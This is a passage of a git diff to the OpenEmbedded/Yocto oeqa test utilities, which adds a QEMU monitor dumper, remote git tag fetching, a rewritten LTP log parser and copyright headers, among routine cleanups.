- else:
- self.tc_kwargs['run']['machine'] = args.machine
- rc = self._internal_run(logger, args)
+ rc = self._internal_run(logger, args)
finally:
config_paths = self.tc_kwargs['init']['config_paths']
output_link = os.path.join(os.path.dirname(args.output_log),
"%s-results.log" % self.name)
if os.path.lexists(output_link):
- os.remove(output_link)
+ os.unlink(output_link)
os.symlink(args.output_log, output_link)
return rc
diff --git a/meta/lib/oeqa/targetcontrol.py b/meta/lib/oeqa/targetcontrol.py
index 19f5a4ea7e..6e8b781973 100644
--- a/meta/lib/oeqa/targetcontrol.py
+++ b/meta/lib/oeqa/targetcontrol.py
@@ -7,17 +7,14 @@
# This module is used by testimage.bbclass for setting up and controlling a target machine.
import os
-import shutil
import subprocess
import bb
-import traceback
-import sys
import logging
from oeqa.utils.sshcontrol import SSHControl
from oeqa.utils.qemurunner import QemuRunner
from oeqa.utils.qemutinyrunner import QemuTinyRunner
from oeqa.utils.dump import TargetDumper
-from oeqa.controllers.testtargetloader import TestTargetLoader
+from oeqa.utils.dump import MonitorDumper
from abc import ABCMeta, abstractmethod
class BaseTarget(object, metaclass=ABCMeta):
@@ -41,7 +38,7 @@ class BaseTarget(object, metaclass=ABCMeta):
if os.path.islink(sshloglink):
os.unlink(sshloglink)
os.symlink(self.sshlog, sshloglink)
- self.logger.info("SSH log file: %s" % self.sshlog)
+ self.logger.info("SSH log file: %s" % self.sshlog)
@abstractmethod
def start(self, params=None, ssh=True, extra_bootparams=None):
@@ -106,8 +103,7 @@ class QemuTarget(BaseTarget):
self.rootfs = os.path.join(d.getVar("DEPLOY_DIR_IMAGE"), d.getVar("IMAGE_LINK_NAME") + '.' + self.image_fstype)
self.kernel = os.path.join(d.getVar("DEPLOY_DIR_IMAGE"), d.getVar("KERNEL_IMAGETYPE", False) + '-' + d.getVar('MACHINE', False) + '.bin')
self.qemulog = os.path.join(self.testdir, "qemu_boot_log.%s" % self.datetime)
- dump_target_cmds = d.getVar("testimage_dump_target")
- dump_host_cmds = d.getVar("testimage_dump_host")
+ dump_monitor_cmds = d.getVar("testimage_dump_monitor")
dump_dir = d.getVar("TESTIMAGE_DUMP_DIR")
if not dump_dir:
dump_dir = os.path.join(d.getVar('LOG_DIR'), 'runtime-hostdump')
@@ -131,6 +127,7 @@ class QemuTarget(BaseTarget):
logfile = self.qemulog,
kernel = self.kernel,
boottime = int(d.getVar("TEST_QEMUBOOT_TIMEOUT")),
+ tmpfsdir = d.getVar("RUNQEMU_TMPFS_DIR"),
logger = logger)
else:
self.runner = QemuRunner(machine=d.getVar("MACHINE"),
@@ -142,11 +139,13 @@ class QemuTarget(BaseTarget):
boottime = int(d.getVar("TEST_QEMUBOOT_TIMEOUT")),
use_kvm = use_kvm,
dump_dir = dump_dir,
- dump_host_cmds = d.getVar("testimage_dump_host"),
logger = logger,
+ tmpfsdir = d.getVar("RUNQEMU_TMPFS_DIR"),
serial_ports = len(d.getVar("SERIAL_CONSOLES").split()))
- self.target_dumper = TargetDumper(dump_target_cmds, dump_dir, self.runner)
+ self.monitor_dumper = MonitorDumper(dump_monitor_cmds, dump_dir, self.runner)
+ if (self.monitor_dumper):
+ self.monitor_dumper.create_dir("qmp")
def deploy(self):
bb.utils.mkdirhier(self.testdir)
@@ -156,7 +155,7 @@ class QemuTarget(BaseTarget):
os.unlink(qemuloglink)
os.symlink(self.qemulog, qemuloglink)
- self.logger.info("rootfs file: %s" % self.rootfs)
+ self.logger.info("rootfs file: %s" % self.rootfs)
self.logger.info("Qemu log file: %s" % self.qemulog)
super(QemuTarget, self).deploy()
@@ -198,7 +197,7 @@ class QemuTarget(BaseTarget):
self.server_ip = self.runner.server_ip
self.connection = SSHControl(ip=self.ip, logfile=self.sshlog)
else:
- raise RuntimError("%s - FAILED to re-start qemu - check the task log and the boot log" % self.pn)
+ raise RuntimeError("%s - FAILED to re-start qemu - check the task log and the boot log" % self.pn)
def run_serial(self, command, timeout=60):
return self.runner.run_serial(command, timeout=timeout)
diff --git a/meta/lib/oeqa/utils/__init__.py b/meta/lib/oeqa/utils/__init__.py
index 70fbe7b552..53bdcbf266 100644
--- a/meta/lib/oeqa/utils/__init__.py
+++ b/meta/lib/oeqa/utils/__init__.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
# Enable other layers to have modules in the same named directory
@@ -43,28 +45,12 @@ def make_logger_bitbake_compatible(logger):
import logging
"""
- Bitbake logger redifines debug() in order to
- set a level within debug, this breaks compatibility
- with vainilla logging, so we neeed to redifine debug()
- method again also add info() method with INFO + 1 level.
+ We need to raise the log level of the info output so unittest
+ messages are visible on the console.
"""
- def _bitbake_log_debug(*args, **kwargs):
- lvl = logging.DEBUG
-
- if isinstance(args[0], int):
- lvl = args[0]
- msg = args[1]
- args = args[2:]
- else:
- msg = args[0]
- args = args[1:]
-
- logger.log(lvl, msg, *args, **kwargs)
-
def _bitbake_log_info(msg, *args, **kwargs):
logger.log(logging.INFO + 1, msg, *args, **kwargs)
- logger.debug = _bitbake_log_debug
logger.info = _bitbake_log_info
return logger
@@ -104,3 +90,10 @@ def load_test_components(logger, executor):
"_executor_class defined." % (comp_name, comp_context))
return components
+
+def get_json_result_dir(d):
+ json_result_dir = os.path.join(d.getVar("LOG_DIR"), 'oeqa')
+ custom_json_result_dir = d.getVar("OEQA_JSON_RESULT_DIR")
+ if custom_json_result_dir:
+ json_result_dir = custom_json_result_dir
+ return json_result_dir \ No newline at end of file
diff --git a/meta/lib/oeqa/utils/buildproject.py b/meta/lib/oeqa/utils/buildproject.py
index e6d80cc8dc..dfb9661868 100644
--- a/meta/lib/oeqa/utils/buildproject.py
+++ b/meta/lib/oeqa/utils/buildproject.py
@@ -18,6 +18,7 @@ class BuildProject(metaclass=ABCMeta):
def __init__(self, uri, foldername=None, tmpdir=None, dl_dir=None):
self.uri = uri
self.archive = os.path.basename(uri)
+ self.tempdirobj = None
if not tmpdir:
self.tempdirobj = tempfile.TemporaryDirectory(prefix='buildproject-')
tmpdir = self.tempdirobj.name
@@ -57,6 +58,8 @@ class BuildProject(metaclass=ABCMeta):
return self._run('cd %s; make install %s' % (self.targetdir, install_args))
def clean(self):
+ if self.tempdirobj:
+ self.tempdirobj.cleanup()
if not self.needclean:
return
self._run('rm -rf %s' % self.targetdir)
diff --git a/meta/lib/oeqa/utils/commands.py b/meta/lib/oeqa/utils/commands.py
index f7f8c16bf0..575e380017 100644
--- a/meta/lib/oeqa/utils/commands.py
+++ b/meta/lib/oeqa/utils/commands.py
@@ -8,11 +8,8 @@
# This module is mainly used by scripts/oe-selftest and modules under meta/oeqa/selftest
# It provides a class and methods for running commands on the host in a convienent way for tests.
-
-
import os
import sys
-import signal
import subprocess
import threading
import time
@@ -21,6 +18,7 @@ from oeqa.utils import CommandError
from oeqa.utils import ftools
import re
import contextlib
+import errno
# Export test doesn't require bb
try:
import bb
@@ -85,7 +83,7 @@ class Command(object):
except OSError as ex:
# It's not an error when the command does not consume all
# of our data. subprocess.communicate() also ignores that.
- if ex.errno != EPIPE:
+ if ex.errno != errno.EPIPE:
raise
# We write in a separate thread because then we can read
@@ -117,7 +115,7 @@ class Command(object):
else:
deadline = time.time() + self.timeout
for thread in self.threads:
- timeout = deadline - time.time()
+ timeout = deadline - time.time()
if timeout < 0:
timeout = 0
thread.join(timeout)
@@ -125,11 +123,11 @@ class Command(object):
def stop(self):
for thread in self.threads:
- if thread.isAlive():
+ if thread.is_alive():
self.process.terminate()
# let's give it more time to terminate gracefully before killing it
thread.join(5)
- if thread.isAlive():
+ if thread.is_alive():
self.process.kill()
thread.join()
@@ -167,23 +165,36 @@ class Result(object):
pass
-def runCmd(command, ignore_status=False, timeout=None, assert_error=True,
- native_sysroot=None, limit_exc_output=0, output_log=None, **options):
+def runCmd(command, ignore_status=False, timeout=None, assert_error=True, sync=True,
+ native_sysroot=None, target_sys=None, limit_exc_output=0, output_log=None, **options):
result = Result()
if native_sysroot:
- extra_paths = "%s/sbin:%s/usr/sbin:%s/usr/bin" % \
- (native_sysroot, native_sysroot, native_sysroot)
- extra_libpaths = "%s/lib:%s/usr/lib" % \
- (native_sysroot, native_sysroot)
- nenv = dict(options.get('env', os.environ))
- nenv['PATH'] = extra_paths + ':' + nenv.get('PATH', '')
- nenv['LD_LIBRARY_PATH'] = extra_libpaths + ':' + nenv.get('LD_LIBRARY_PATH', '')
- options['env'] = nenv
+ new_env = dict(options.get('env', os.environ))
+ paths = new_env["PATH"].split(":")
+ paths = [
+ os.path.join(native_sysroot, "bin"),
+ os.path.join(native_sysroot, "sbin"),
+ os.path.join(native_sysroot, "usr", "bin"),
+ os.path.join(native_sysroot, "usr", "sbin"),
+ ] + paths
+ if target_sys:
+ paths = [os.path.join(native_sysroot, "usr", "bin", target_sys)] + paths
+ new_env["PATH"] = ":".join(paths)
+ options['env'] = new_env
cmd = Command(command, timeout=timeout, output_log=output_log, **options)
cmd.run()
+ # tests can be heavy on IO and if bitbake can't write out its caches, we see timeouts.
+ # call sync around the tests to ensure the IO queue doesn't get too large, taking any IO
+ # hit here rather than in bitbake shutdown.
+ if sync:
+ p = os.environ['PATH']
+ os.environ['PATH'] = "/usr/bin:/bin:/usr/sbin:/sbin:" + p
+ os.system("sync")
+ os.environ['PATH'] = p
+
result.command = command
result.status = cmd.status
result.output = cmd.output
@@ -274,8 +285,10 @@ def get_bb_vars(variables=None, target=None, postconfig=None):
def get_bb_var(var, target=None, postconfig=None):
return get_bb_vars([var], target, postconfig)[var]
-def get_test_layer():
- layers = get_bb_var("BBLAYERS").split()
+def get_test_layer(bblayers=None):
+ if bblayers is None:
+ bblayers = get_bb_var("BBLAYERS")
+ layers = bblayers.split()
testlayer = None
for l in layers:
if '~' in l:
@@ -287,6 +300,7 @@ def get_test_layer():
def create_temp_layer(templayerdir, templayername, priority=999, recipepathspec='recipes-*/*'):
os.makedirs(os.path.join(templayerdir, 'conf'))
+ corenames = get_bb_var('LAYERSERIES_CORENAMES')
with open(os.path.join(templayerdir, 'conf', 'layer.conf'), 'w') as f:
f.write('BBPATH .= ":${LAYERDIR}"\n')
f.write('BBFILES += "${LAYERDIR}/%s/*.bb \\' % recipepathspec)
@@ -295,7 +309,7 @@ def create_temp_layer(templayerdir, templayername, priority=999, recipepathspec=
f.write('BBFILE_PATTERN_%s = "^${LAYERDIR}/"\n' % templayername)
f.write('BBFILE_PRIORITY_%s = "%d"\n' % (templayername, priority))
f.write('BBFILE_PATTERN_IGNORE_EMPTY_%s = "1"\n' % templayername)
- f.write('LAYERSERIES_COMPAT_%s = "${LAYERSERIES_COMPAT_core}"\n' % templayername)
+ f.write('LAYERSERIES_COMPAT_%s = "%s"\n' % (templayername, corenames))
@contextlib.contextmanager
def runqemu(pn, ssh=True, runqemuparams='', image_fstype=None, launch_cmd=None, qemuparams=None, overrides={}, discard_writes=True):
diff --git a/meta/lib/oeqa/utils/decorators.py b/meta/lib/oeqa/utils/decorators.py
index aabf4110cb..ea90164e5e 100644
--- a/meta/lib/oeqa/utils/decorators.py
+++ b/meta/lib/oeqa/utils/decorators.py
@@ -16,91 +16,6 @@ import threading
import signal
from functools import wraps
-#get the "result" object from one of the upper frames provided that one of these upper frames is a unittest.case frame
-class getResults(object):
- def __init__(self):
- #dynamically determine the unittest.case frame and use it to get the name of the test method
- ident = threading.current_thread().ident
- upperf = sys._current_frames()[ident]
- while (upperf.f_globals['__name__'] != 'unittest.case'):
- upperf = upperf.f_back
-
- def handleList(items):
- ret = []
- # items is a list of tuples, (test, failure) or (_ErrorHandler(), Exception())
- for i in items:
- s = i[0].id()
- #Handle the _ErrorHolder objects from skipModule failures
- if "setUpModule (" in s:
- ret.append(s.replace("setUpModule (", "").replace(")",""))
- else:
- ret.append(s)
- # Append also the test without the full path
- testname = s.split('.')[-1]
- if testname:
- ret.append(testname)
- return ret
- self.faillist = handleList(upperf.f_locals['result'].failures)
- self.errorlist = handleList(upperf.f_locals['result'].errors)
- self.skiplist = handleList(upperf.f_locals['result'].skipped)
-
- def getFailList(self):
- return self.faillist
-
- def getErrorList(self):
- return self.errorlist
-
- def getSkipList(self):
- return self.skiplist
-
-class skipIfFailure(object):
-
- def __init__(self,testcase):
- self.testcase = testcase
-
- def __call__(self,f):
- @wraps(f)
- def wrapped_f(*args, **kwargs):
- res = getResults()
- if self.testcase in (res.getFailList() or res.getErrorList()):
- raise unittest.SkipTest("Testcase dependency not met: %s" % self.testcase)
- return f(*args, **kwargs)
- wrapped_f.__name__ = f.__name__
- return wrapped_f
-
-class skipIfSkipped(object):
-
- def __init__(self,testcase):
- self.testcase = testcase
-
- def __call__(self,f):
- @wraps(f)
- def wrapped_f(*args, **kwargs):
- res = getResults()
- if self.testcase in res.getSkipList():
- raise unittest.SkipTest("Testcase dependency not met: %s" % self.testcase)
- return f(*args, **kwargs)
- wrapped_f.__name__ = f.__name__
- return wrapped_f
-
-class skipUnlessPassed(object):
-
- def __init__(self,testcase):
- self.testcase = testcase
-
- def __call__(self,f):
- @wraps(f)
- def wrapped_f(*args, **kwargs):
- res = getResults()
- if self.testcase in res.getSkipList() or \
- self.testcase in res.getFailList() or \
- self.testcase in res.getErrorList():
- raise unittest.SkipTest("Testcase dependency not met: %s" % self.testcase)
- return f(*args, **kwargs)
- wrapped_f.__name__ = f.__name__
- wrapped_f._depends_on = self.testcase
- return wrapped_f
-
class testcase(object):
def __init__(self, test_case):
self.test_case = test_case
diff --git a/meta/lib/oeqa/utils/dump.py b/meta/lib/oeqa/utils/dump.py
index 09a44329e0..d4d271369f 100644
--- a/meta/lib/oeqa/utils/dump.py
+++ b/meta/lib/oeqa/utils/dump.py
@@ -1,9 +1,12 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
import os
import sys
+import json
import errno
import datetime
import itertools
@@ -17,6 +20,7 @@ class BaseDumper(object):
# Some testing doesn't inherit testimage, so it is needed
# to set some defaults.
self.parent_dir = parent_dir
+ self.dump_dir = parent_dir
dft_cmds = """ top -bn1
iostat -x -z -N -d -p ALL 20 2
ps -ef
@@ -46,11 +50,11 @@ class BaseDumper(object):
raise err
self.dump_dir = dump_dir
- def _write_dump(self, command, output):
- if isinstance(self, HostDumper):
- prefix = "host"
- elif isinstance(self, TargetDumper):
+ def _construct_filename(self, command):
+ if isinstance(self, TargetDumper):
prefix = "target"
+ elif isinstance(self, MonitorDumper):
+ prefix = "qmp"
else:
prefix = "unknown"
for i in itertools.count():
@@ -58,41 +62,80 @@ class BaseDumper(object):
fullname = os.path.join(self.dump_dir, filename)
if not os.path.exists(fullname):
break
- with open(fullname, 'w') as dump_file:
- dump_file.write(output)
-
-
-class HostDumper(BaseDumper):
- """ Class to get dumps from the host running the tests """
-
- def __init__(self, cmds, parent_dir):
- super(HostDumper, self).__init__(cmds, parent_dir)
+ return fullname
- def dump_host(self, dump_dir=""):
- if dump_dir:
- self.dump_dir = dump_dir
- env = os.environ.copy()
- env['PATH'] = '/usr/sbin:/sbin:/usr/bin:/bin'
- env['COLUMNS'] = '9999'
- for cmd in self.cmds:
- result = runCmd(cmd, ignore_status=True, env=env)
- self._write_dump(cmd.split()[0], result.output)
+ def _write_dump(self, command, output):
+ fullname = self._construct_filename(command)
+ os.makedirs(os.path.dirname(fullname), exist_ok=True)
+ if isinstance(self, MonitorDumper):
+ with open(fullname, 'w') as json_file:
+ json.dump(output, json_file, indent=4)
+ else:
+ with open(fullname, 'w') as dump_file:
+ dump_file.write(output)
class TargetDumper(BaseDumper):
- """ Class to get dumps from target, it only works with QemuRunner """
+ """ Class to get dumps from target, it only works with QemuRunner.
+ Will give up permanently after 5 errors from running commands over
+ serial console. This helps to end testing when target is really dead, hanging
+ or unresponsive.
+ """
def __init__(self, cmds, parent_dir, runner):
super(TargetDumper, self).__init__(cmds, parent_dir)
self.runner = runner
+ self.errors = 0
def dump_target(self, dump_dir=""):
+ if self.errors >= 5:
+ print("Too many errors when dumping data from target, assuming it is dead! Will not dump data anymore!")
+ return
if dump_dir:
self.dump_dir = dump_dir
for cmd in self.cmds:
# We can continue with the testing if serial commands fail
try:
(status, output) = self.runner.run_serial(cmd)
+ if status == 0:
+ self.errors = self.errors + 1
self._write_dump(cmd.split()[0], output)
except:
+ self.errors = self.errors + 1
print("Tried to dump info from target but "
"serial console failed")
+ print("Failed CMD: %s" % (cmd))
+
+class MonitorDumper(BaseDumper):
+ """ Class to get dumps via the Qemu Monitor, it only works with QemuRunner
+ Will stop completely if there are more than 5 errors when dumping monitor data.
+ This helps to end testing when target is really dead, hanging or unresponsive.
+ """
+
+ def __init__(self, cmds, parent_dir, runner):
+ super(MonitorDumper, self).__init__(cmds, parent_dir)
+ self.runner = runner
+ self.errors = 0
+
+ def dump_monitor(self, dump_dir=""):
+ if self.runner is None:
+ return
+ if dump_dir:
+ self.dump_dir = dump_dir
+ if self.errors >= 5:
+ print("Too many errors when dumping data from qemu monitor, assuming it is dead! Will not dump data anymore!")
+ return
+ for cmd in self.cmds:
+ cmd_name = cmd.split()[0]
+ try:
+ if len(cmd.split()) > 1:
+ cmd_args = cmd.split()[1]
+ if "%s" in cmd_args:
+ filename = self._construct_filename(cmd_name)
+ cmd_data = json.loads(cmd_args % (filename))
+ output = self.runner.run_monitor(cmd_name, cmd_data)
+ else:
+ output = self.runner.run_monitor(cmd_name)
+ self._write_dump(cmd_name, output)
+ except Exception as e:
+ self.errors = self.errors + 1
+ print("Failed to dump QMP CMD: %s with\nException: %s" % (cmd_name, e))
diff --git a/meta/lib/oeqa/utils/ftools.py b/meta/lib/oeqa/utils/ftools.py
index 3093419cc7..a50aaa84c2 100644
--- a/meta/lib/oeqa/utils/ftools.py
+++ b/meta/lib/oeqa/utils/ftools.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
diff --git a/meta/lib/oeqa/utils/gitarchive.py b/meta/lib/oeqa/utils/gitarchive.py
index 6e8040eb5c..10cb267dfa 100644
--- a/meta/lib/oeqa/utils/gitarchive.py
+++ b/meta/lib/oeqa/utils/gitarchive.py
@@ -100,9 +100,44 @@ def git_commit_data(repo, data_dir, branch, message, exclude, notes, log):
if os.path.exists(tmp_index):
os.unlink(tmp_index)
+def get_tags(repo, log, pattern=None, url=None):
+ """ Fetch remote tags from current repository
+
+ A pattern can be provided to filter returned tags list
+ An URL can be provided if local repository has no valid remote configured
+ """
+
+ base_cmd = ['ls-remote', '--refs', '--tags', '-q']
+ cmd = base_cmd.copy()
+
+ # First try to fetch tags from repository configured remote
+ cmd.append('origin')
+ if pattern:
+ cmd.append("refs/tags/"+pattern)
+ try:
+ tags_refs = repo.run_cmd(cmd)
+ tags = ["".join(d.split()[1].split('/', 2)[2:]) for d in tags_refs.splitlines()]
+ except GitError as e:
+ # If it fails, retry with repository url if one is provided
+ if url:
+ log.info("No remote repository configured, use provided url")
+ cmd = base_cmd.copy()
+ cmd.append(url)
+ if pattern:
+ cmd.append(pattern)
+ tags_refs = repo.run_cmd(cmd)
+ tags = ["".join(d.split()[1].split('/', 2)[2:]) for d in tags_refs.splitlines()]
+ else:
+ log.info("Read local tags only, some remote tags may be missed")
+ cmd = ["tag"]
+ if pattern:
+ cmd += ["-l", pattern]
+ tags = repo.run_cmd(cmd).splitlines()
+
+ return tags
def expand_tag_strings(repo, name_pattern, msg_subj_pattern, msg_body_pattern,
- keywords):
+ url, log, keywords):
"""Generate tag name and message, with support for running id number"""
keyws = keywords.copy()
# Tag number is handled specially: if not defined, we autoincrement it
@@ -116,7 +151,7 @@ def expand_tag_strings(repo, name_pattern, msg_subj_pattern, msg_body_pattern,
tag_re = tag_re.format(tag_number='(?P<tag_number>[0-9]{1,5})')
keyws['tag_number'] = 0
- for existing_tag in repo.run_cmd('tag').splitlines():
+ for existing_tag in get_tags(repo, log, url=url):
match = re.match(tag_re, existing_tag)
if match and int(match.group('tag_number')) >= keyws['tag_number']:
@@ -143,7 +178,8 @@ def gitarchive(data_dir, git_dir, no_create, bare, commit_msg_subject, commit_ms
if not no_tag and tagname:
tag_name, tag_msg = expand_tag_strings(data_repo, tagname,
tag_msg_subject,
- tag_msg_body, keywords)
+ tag_msg_body,
+ push, log, keywords)
# Commit data
commit = git_commit_data(data_repo, data_dir, branch_name,
@@ -181,7 +217,7 @@ def get_test_runs(log, repo, tag_name, **kwargs):
# Get a list of all matching tags
tag_pattern = tag_name.format(**str_fields)
- tags = repo.run_cmd(['tag', '-l', tag_pattern]).splitlines()
+ tags = get_tags(repo, log, pattern=tag_pattern)
log.debug("Found %d tags matching pattern '%s'", len(tags), tag_pattern)
# Parse undefined fields from tag names
@@ -199,6 +235,8 @@ def get_test_runs(log, repo, tag_name, **kwargs):
revs = []
for tag in tags:
m = tag_re.match(tag)
+ if not m:
+ continue
groups = m.groupdict()
revs.append([groups[f] for f in undef_fields] + [tag])
@@ -219,7 +257,15 @@ def get_test_revs(log, repo, tag_name, **kwargs):
if not commit in revs:
revs[commit] = TestedRev(commit, commit_num, [tag])
else:
- assert commit_num == revs[commit].commit_number, "Commit numbers do not match"
+ if commit_num != revs[commit].commit_number:
+ # Historically we have incorrect commit counts of '1' in the repo so fix these up
+ if int(revs[commit].commit_number) < 5:
+ tags = revs[commit].tags
+ revs[commit] = TestedRev(commit, commit_num, [tags])
+ elif int(commit_num) < 5:
+ pass
+ else:
+ sys.exit("Commit numbers for commit %s don't match (%s vs %s)" % (commit, commit_num, revs[commit].commit_number))
revs[commit].tags.append(tag)
# Return in sorted table
diff --git a/meta/lib/oeqa/utils/httpserver.py b/meta/lib/oeqa/utils/httpserver.py
index 58d3c3b3f8..80752c1377 100644
--- a/meta/lib/oeqa/utils/httpserver.py
+++ b/meta/lib/oeqa/utils/httpserver.py
@@ -1,11 +1,13 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
import http.server
+import logging
import multiprocessing
import os
-import traceback
import signal
from socketserver import ThreadingMixIn
@@ -13,20 +15,24 @@ class HTTPServer(ThreadingMixIn, http.server.HTTPServer):
def server_start(self, root_dir, logger):
os.chdir(root_dir)
+ self.logger = logger
self.serve_forever()
class HTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
def log_message(self, format_str, *args):
- pass
+ self.server.logger.info(format_str, *args)
-class HTTPService(object):
+class HTTPService:
def __init__(self, root_dir, host='', port=0, logger=None):
self.root_dir = root_dir
self.host = host
self.port = port
- self.logger = logger
+ if logger:
+ self.logger = logger.getChild("HTTPService")
+ else:
+ self.logger = logging.getLogger("HTTPService")
def start(self):
if not os.path.exists(self.root_dir):
@@ -38,6 +44,12 @@ class HTTPService(object):
self.port = self.server.server_port
self.process = multiprocessing.Process(target=self.server.server_start, args=[self.root_dir, self.logger])
+ def handle_error(self, request, client_address):
+ import traceback
+ exception = traceback.format_exc()
+ self.logger.warn("Exception when handling %s: %s" % (request, exception))
+ self.server.handle_error = handle_error
+
# The signal handler from testimage.bbclass can cause deadlocks here
# if the HTTPServer is terminated before it can restore the standard
#signal behaviour
@@ -47,7 +59,7 @@ class HTTPService(object):
signal.signal(signal.SIGTERM, orig)
if self.logger:
- self.logger.info("Started HTTPService on %s:%s" % (self.host, self.port))
+ self.logger.info("Started HTTPService for %s on %s:%s" % (self.root_dir, self.host, self.port))
def stop(self):
@@ -59,3 +71,10 @@ class HTTPService(object):
if self.logger:
self.logger.info("Stopped HTTPService on %s:%s" % (self.host, self.port))
+if __name__ == "__main__":
+ import sys, logging
+
+ logger = logging.getLogger(__name__)
+ logging.basicConfig(level=logging.DEBUG)
+ httpd = HTTPService(sys.argv[1], port=8888, logger=logger)
+ httpd.start()
diff --git a/meta/lib/oeqa/utils/logparser.py b/meta/lib/oeqa/utils/logparser.py
index 60e16d500e..496d9e0c90 100644
--- a/meta/lib/oeqa/utils/logparser.py
+++ b/meta/lib/oeqa/utils/logparser.py
@@ -1,8 +1,10 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
-import sys
+import enum
import os
import re
@@ -42,6 +44,8 @@ class PtestParser(object):
result = section_regex['begin'].search(line)
if result:
current_section['name'] = result.group(1)
+ if current_section['name'] not in self.results:
+ self.results[current_section['name']] = {}
continue
result = section_regex['end'].search(line)
@@ -73,9 +77,10 @@ class PtestParser(object):
for t in test_regex:
result = test_regex[t].search(line)
if result:
- if current_section['name'] not in self.results:
- self.results[current_section['name']] = {}
- self.results[current_section['name']][result.group(1).strip()] = t
+ try:
+ self.results[current_section['name']][result.group(1).strip()] = t
+ except KeyError:
+ bb.warn("Result with no section: %s - %s" % (t, result.group(1).strip()))
# Python performance for repeatedly joining long strings is poor, do it all at once at the end.
# For 2.1 million lines in a log this reduces 18 hours to 12s.
@@ -101,30 +106,48 @@ class PtestParser(object):
f.write(status + ": " + test_name + "\n")
-# ltp log parsing
-class LtpParser(object):
- def __init__(self):
- self.results = {}
- self.section = {'duration': "", 'log': ""}
-
+class LtpParser:
+ """
+ Parse the machine-readable LTP log output into a ptest-friendly data structure.
+ """
def parse(self, logfile):
- test_regex = {}
- test_regex['PASSED'] = re.compile(r"PASS")
- test_regex['FAILED'] = re.compile(r"FAIL")
- test_regex['SKIPPED'] = re.compile(r"SKIP")
-
- with open(logfile, errors='replace') as f:
+ results = {}
+ # Aaccumulate the duration here but as the log rounds quick tests down
+ # to 0 seconds this is very much a lower bound. The caller can replace
+ # the value.
+ section = {"duration": 0, "log": ""}
+
+ class LtpExitCode(enum.IntEnum):
+ # Exit codes as defined in ltp/include/tst_res_flags.h
+ TPASS = 0 # Test passed flag
+ TFAIL = 1 # Test failed flag
+ TBROK = 2 # Test broken flag
+ TWARN = 4 # Test warning flag
+ TINFO = 16 # Test information flag
+ TCONF = 32 # Test not appropriate for configuration flag
+
+ with open(logfile, errors="replace") as f:
+ # Lines look like this:
+ # tag=cfs_bandwidth01 stime=1689762564 dur=0 exit=exited stat=32 core=no cu=0 cs=0
for line in f:
- for t in test_regex:
- result = test_regex[t].search(line)
- if result:
- self.results[line.split()[0].strip()] = t
+ if not line.startswith("tag="):
+ continue
- for test in self.results:
- result = self.results[test]
- self.section['log'] = self.section['log'] + ("%s: %s\n" % (result.strip()[:-2], test.strip()))
+ values = dict(s.split("=") for s in line.strip().split())
- return self.results, self.section
+ section["duration"] += int(values["dur"])
+ exitcode = int(values["stat"])
+ if values["exit"] == "exited" and exitcode == LtpExitCode.TCONF:
+ # Exited normally with the "invalid configuration" code
+ results[values["tag"]] = "SKIPPED"
+ elif exitcode == LtpExitCode.TPASS:
+ # Successful exit
+ results[values["tag"]] = "PASSED"
+ else:
+ # Other exit
+ results[values["tag"]] = "FAILED"
+
+ return results, section
# ltp Compliance log parsing
@@ -135,30 +158,27 @@ class LtpComplianceParser(object):
def parse(self, logfile):
test_regex = {}
- test_regex['PASSED'] = re.compile(r"^PASS")
- test_regex['FAILED'] = re.compile(r"^FAIL")
- test_regex['SKIPPED'] = re.compile(r"(?:UNTESTED)|(?:UNSUPPORTED)")
+ test_regex['FAILED'] = re.compile(r"FAIL")
section_regex = {}
- section_regex['test'] = re.compile(r"^Testing")
+ section_regex['test'] = re.compile(r"^Executing")
with open(logfile, errors='replace') as f:
+ name = logfile
+ result = "PASSED"
for line in f:
- result = section_regex['test'].search(line)
- if result:
- self.name = ""
- self.name = line.split()[1].strip()
- self.results[self.name] = "PASSED"
- failed = 0
+ regex_result = section_regex['test'].search(line)
+ if regex_result:
+ name = line.split()[1].strip()
- failed_result = test_regex['FAILED'].search(line)
- if failed_result:
- failed = line.split()[1].strip()
- if int(failed) > 0:
- self.results[self.name] = "FAILED"
+ regex_result = test_regex['FAILED'].search(line)
+ if regex_result:
+ result = "FAILED"
+ self.results[name] = result
for test in self.results:
result = self.results[test]
+ print (self.results)
self.section['log'] = self.section['log'] + ("%s: %s\n" % (result.strip()[:-2], test.strip()))
return self.results, self.section
diff --git a/meta/lib/oeqa/utils/metadata.py b/meta/lib/oeqa/utils/metadata.py
index 8013aa684d..15ec190c4a 100644
--- a/meta/lib/oeqa/utils/metadata.py
+++ b/meta/lib/oeqa/utils/metadata.py
@@ -27,9 +27,9 @@ def metadata_from_bb():
data_dict = get_bb_vars()
# Distro information
- info_dict['distro'] = {'id': data_dict['DISTRO'],
- 'version_id': data_dict['DISTRO_VERSION'],
- 'pretty_name': '%s %s' % (data_dict['DISTRO'], data_dict['DISTRO_VERSION'])}
+ info_dict['distro'] = {'id': data_dict.get('DISTRO', 'NODISTRO'),
+ 'version_id': data_dict.get('DISTRO_VERSION', 'NO_DISTRO_VERSION'),
+ 'pretty_name': '%s %s' % (data_dict.get('DISTRO', 'NODISTRO'), data_dict.get('DISTRO_VERSION', 'NO_DISTRO_VERSION'))}
# Host distro information
os_release = get_os_release()
diff --git a/meta/lib/oeqa/utils/network.py b/meta/lib/oeqa/utils/network.py
index 59d01723a1..da4ffda9a9 100644
--- a/meta/lib/oeqa/utils/network.py
+++ b/meta/lib/oeqa/utils/network.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
diff --git a/meta/lib/oeqa/utils/nfs.py b/meta/lib/oeqa/utils/nfs.py
index a37686c914..903469bfee 100644
--- a/meta/lib/oeqa/utils/nfs.py
+++ b/meta/lib/oeqa/utils/nfs.py
@@ -1,4 +1,8 @@
+#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
+#
import os
import sys
import tempfile
@@ -8,7 +12,7 @@ from oeqa.utils.commands import bitbake, get_bb_var, Command
from oeqa.utils.network import get_free_port
@contextlib.contextmanager
-def unfs_server(directory, logger = None):
+def unfs_server(directory, logger = None, udp = True):
